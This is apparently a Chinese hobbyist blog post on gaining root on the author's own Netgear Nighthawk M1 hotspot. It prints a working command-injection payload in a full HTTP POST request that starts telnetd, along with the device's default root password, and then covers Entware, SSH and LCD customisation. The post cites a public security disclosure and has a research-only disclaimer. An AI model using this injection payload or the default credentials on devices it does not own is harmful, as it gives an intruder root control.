时脑热买了这个狂贵的随身路由器,于是就想着能不能把这个玩出点花样来。只可惜高通 MDM9250 基带芯片真的很少有设备用,第三方固件肯定是不要想了。网上找了一堆资料后琢磨着用 AT 命令,但是也不知道 ENTERCND 的密码。这两天再次查找资料的时候意外的发现国外的安全团队 Pen Test Partners 已经通过内置 HTTP 服务的一个远程可执行代码的漏洞打开了内部 Linux 的 telnet,并且 root 账户的密码还是一个默认密码!下面天书把每一步的操作都整理记录,纪念一下这个激动人心的过程。

0. 准备工作

首先你需要一台 M1(废话)。其次你需要一些网络基础知识、Linux 操作基础和一颗折腾的心。

这里顺便说一下如果想玩 AT 命令,比如添加手动锁频段功能(https://mt-tech.fi/en/enable-manual-band-selection-on-netgear-mr1100/),需要用 Type-C 线连接电脑,用有线网卡模式,就可以 telnet 5510 端口了。

1. 使用远程可执行代码漏洞

登录管理后台,打开 Chrome 的开发者工具,任意触发一个命令(如打开 LED 指示灯,右上角三个点的菜单按钮 > LED Settings > APPLY),截取访问地址为/Forms/config 这一条请求:

使用模拟 HTTP 工具,如 Postman,复制 Chrome 中的 Request Headers 和 Form Data(注意这里 Postman 的 Body 有自己的格式,不能直接用编码过的格式),修改 Form Datay 中的原指令为 ready.deviceShare.removeUsbDevice:;$(busybox telnetd);
这里为了方便大家,准备好了两段使用 Postman 的请求内容,只需要修改几个与上面截取的请求中同名的参数为截取到的参数即可。新建请求后点击 Bulk Edit 模式,粘贴:
Heaers:

Host: 替换为你的 Host
Proxy-Connection: keep-alive
Origin: 替换为你的 Origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Referer: 替换为你的 Refer
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 替换为你的 Cookie

Body (类型选择 x-www-form-urlencoded):

ready.deviceShare.removeUsbDevice:;$(busybox telnetd);
token: 替换为你的 token
err_redirect:/error.json
ok_redirect:/success.json

最后长这样:


记得修改请求类型为 POST,一个完整的请求如下

POST /Forms/config HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/index.html
Content-type: application/x-www-form-urlencoded
Content-Length: 143
Cookie: sessionId=00000008-8CKtg8jB5TJ0WhJALlbTXIdplP9wDZs
Connection: close

ready.deviceShare.removeUsbDevice=;$(busybox telnetd);&err_redirect=/error.json&ok_redirect=/success.json&token=kMOvNyZv6Jh4dHTOELKhMGuBNMUlXZ6

发送请求后如果没有返回错误(Postman 会显示 Could not get any response),就代表成功了!

2. 登录 root 账户

使用 Windows 内置的 telnet 工具(需要在 Windows 功能中手动打开)或第三方工具使用默认端口 23 连接路由器,这里的 IP 请根据自己的设置自行更换

telnet 192.168.6.1

激动人心的时刻来了,熟悉的 Linux 登录!
这里使用 root 账户和默认密码 oelinux123

/home/mobaxterm > telnet 192.168.6.1
Trying 192.168.6.1...
Connected to 192.168.6.1.
Escape character is '^]'.

msm 201810101820 mdm9650

mdm9650 login: root
Password:
root@mdm9650:~#

登录成功!

3. 挂载外置存储(可选)

由于内置闪存有限,我们可以挂载外置存储。M1 有一个内置 Micro SD 卡槽就很棒棒。当然内置闪存也可以安装一点软件,所以这里作为可选项。

插入 Micro SD 卡后查看是否已经成功挂载

挂载到/opt 分区

(本段正在完善中……)

4. 安装 opkg(entware) 包管理器

使用官方一键安装命令

wget http://pkg.entware.net/binaries/armv7/installer/entware_install.sh
chmod +x entware_install.sh
sh entware_install.sh

添加 PATH
临时生效命令:

export PATH="/opt/bin:/opt/sbin:$PATH"

如果要永久修改,需要使用 vi 对/etc/profile 中的 PATH 进行修改,不会 vi/vim 没关系,请按照下列顺序操作:

  1. 输入
    vi /etc/profile
  2. i 进入编辑模式
  3. 在第四行的 PATH 增加/opt/bin:/opt/sbin:,修改后这一行长这样
    PATH="/opt/bin:/opt/sbin:/usr/local/bin:/usr/bin:/bin"
  4. <ESC> 退出编辑模式
  5. 输入:wq 保存退出
  6. 输入以下命令使其立即生效
    source /etc/profile

安装一个 curl 来试一下

opkg install curl

获取个天气试试

curl wttr.in

接下来还需要帮 opkg 添加开机自启,由于这个系统没有 rc.local,所以我们先把 opkg 自己的全启动服务添加软链接,并通过 update-rc.d 添加该启动服务:

ln -sf /opt/etc/init.d/rc.unslung /etc/init.d/opkg
update-rc.d opkg defaults 99

5. 更多骚操作

有一个需要注意的是,opkg(Entware) 中所有的安装目录、配置文件,全部在/opt 下,这样的好处就是所有软件的包和配置全部不在系统里面,这样就不会与路由器更新固件冲突了,所以在网上找相关工具教程的时候,一定要记得在目录名前面加/opt

安装 OpenSSH(其实这个系统 Dropbear 更合适)

opkg install openssh-server
# 如果需要使用 scp 传输文件,还要安装下面这个
opkg install openssh-client

下面生成密钥:

ssh-keygen -t rsa -f /opt/etc/ssh/ssh_host_rsa_key
ssh-keygen -t ecdsa -f /opt/etc/ssh/ssh_host_ecdsa_key
ssh-keygen -t ed25519 -f /opt/etc/ssh/ssh_host_ed25519_key

如果你需要使用自己的密钥,请参考其他说明进行,如果要使用密码登录,记得到配置文件/opt/etc/ssh/sshd_config 中,添加 PermitRootLogin yes,注意里面原有的 #PermitRootLogin prohibit-password 即使取消注释还不行,因为 prohibit-password(禁止密码)代表只能用密钥

另外还需要在/etc/passwd 中添加一行,为 sshd 设置权限

sshd:x:74:74:Privilege-separated SSH:/opt/sbin/sshd:/sbin/nologin 

启动!

/opt/etc/init.d/S40sshd restart

给液晶屏换个背景!

这么臭的路由器还有要的必要嘛

这个液晶屏显示的内容其实是个网页,地址是/lcd/index.html,加上自己路由器的 IP 打开看看吧!

想要更换也很简单,我们先把存有网页源文件的分区重新以读写挂载:

mount -o remount rw /mnt/hdata

然后我们来到目录/mnt/hdata/lcd/下面自己玩就好了!什么,不会改?赶快去学点 web 吧。

这里还有一个需要注意的是,这个 tmpl 文件里面有一些文本编辑器无法识别的字符,如果使用 VS Code,会把里面的一些字符改成 00,导致整体无法运行,天书是使用 Notepad++才改起来的(记得把 Encoding 调成 UTF-8)。至于这个 tmpl 到底是什么软件弄的,天书目前还没搞明白。

更多

其他天书还在研究中,整好了就更新……

6. 关于安全还想说点

说起来矛盾,如果没有这个漏洞,那么就没有这么多好玩的了。但是这个漏洞对黑客来说也是一个绝佳的攻击机会。在探索这个系统的过程中还发现里面竟然是开着调试模式运行的,里面还有一大段警告写如果发现这段文字请报告给制造商。然而网件公司在收到 PenTestParters 的报告后竟然评估无影响,无需修复,令人震惊。以后这些设备可不可以参考一些手机厂商的操作方式,让用户在放弃保修的前提下,官方开放 root 权限出来给极客使用?

引用

PenTestParters 的博客:https://www.pentestpartners.com/security-blog/how-not-to-do-cross-site-request-forgery-protection-the-netgear-nighthawk-m1/
介绍整个方法的 PPT: https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-grichter-Reverse-Engineering-4G-Hotspots-For-Fun-Bugs-Net-Financial-Loss.pdf

扩展阅读

新固件改掉了默认密码,可以在以下链接找到算出新密码的方法:
https://www.mobile01.com/topicdetail.php?f=18&t=5293897&p=53#80610776
https://forums.whirlpool.net.au/archive/2515438
https://gist.github.com/jkinred/73689e463a08af963c45c137df6646d0

警告:本文章内容仅限学习与安全研究,请勿用于非法用途,对系统进行修改可能会失去制造商保修,对此造成的一切后果本博客不负任何责任


寻找属于自己的1%